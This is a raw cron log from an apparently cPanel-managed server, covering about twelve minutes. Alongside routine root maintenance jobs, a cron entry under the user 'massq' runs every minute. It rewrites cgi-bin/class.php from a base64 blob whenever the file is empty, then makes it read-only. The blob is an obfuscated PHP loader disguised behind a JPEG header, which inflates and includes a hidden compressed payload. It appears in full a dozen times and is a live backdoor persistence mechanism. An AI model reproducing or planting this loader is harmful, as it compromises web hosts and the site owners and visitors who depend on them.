Aug 31 15:38:01 server CROND[17550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:39:01 server CROND[18027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:39:01 server CROND[18026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:39:01 server CROND[18028]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 15:39:01 server CROND[18029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:40:01 server CROND[18416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:40:01 server CROND[18421]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:40:01 server CROND[18418]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:40:01 server CROND[18423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:40:01 server CROND[18419]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:40:01 server CROND[18424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:40:01 server CROND[18420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:40:01 server CROND[18422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:41:01 server CROND[19254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:41:01 server CROND[19255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:41:01 server CROND[19256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:42:01 server CROND[19633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:42:01 server CROND[19634]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:42:01 server CROND[19635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:42:01 server CROND[19636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:43:01 server CROND[20019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:43:01 server CROND[20020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:43:01 server CROND[20021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:44:01 server CROND[20390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:44:01 server CROND[20391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:44:01 server CROND[20392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:45:01 server CROND[20882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:45:01 server CROND[20884]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:45:01 server CROND[20886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:45:01 server CROND[20889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:45:01 server CROND[20888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:45:01 server CROND[20887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:45:01 server CROND[20885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:46:01 server CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:46:01 server CROND[21761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:46:01 server CROND[21762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:47:01 server CROND[22170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:47:01 server CROND[22171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:47:01 server CROND[22172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:48:01 server CROND[22596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:48:01 server CROND[22598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:48:01 server CROND[22597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:49:01 server CROND[23139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:49:01 server CROND[23140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:49:01 server CROND[23141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:50:01 server CROND[23635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:50:01 server CROND[23636]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:50:01 server CROND[23639]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:50:01 server CROND[23642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:50:01 server CROND[23641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:50:01 server CROND[23647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
